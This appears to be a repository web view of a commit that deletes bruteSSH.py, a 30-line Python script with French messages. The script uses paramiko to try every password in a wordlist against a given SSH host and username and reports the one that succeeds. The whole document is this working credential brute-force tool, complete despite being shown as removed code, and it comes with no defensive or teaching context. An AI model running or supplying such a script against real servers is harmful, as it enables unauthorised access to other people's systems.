summaryrefslogtreecommitdiff
path: root/bruteSSH.py
diff options
context:
space:
mode:
Diffstat (limited to 'bruteSSH.py')
-rw-r--r--bruteSSH.py30
1 files changed, 0 insertions, 30 deletions
diff --git a/bruteSSH.py b/bruteSSH.py
deleted file mode 100644
index 32c93cb..0000000
--- a/bruteSSH.py
+++ /dev/null
@@ -1,30 +0,0 @@
-import paramiko, sys
-
-def bruteforce(hostname, username, password):
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect(hostname, username=username, password=password)
- except paramiko.ssh_exception.AuthenticationException:
- print("erreur : ",password)
- #pass
- else:
- print("trouvé : ",password)
- return True
- finally:
- client.close()
-
-if __name__ == "__main__":
- hostname = sys.argv[1]
- username = sys.argv[2]
- dico = sys.argv[3]
- try:
- with open(dico, 'r') as wordlist:
- for ligne in wordlist.readlines():
- password=ligne.strip()
- if bruteforce(hostname,username,password)==True:
- sys.exit()
- except IndexError:
- print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments")
-
-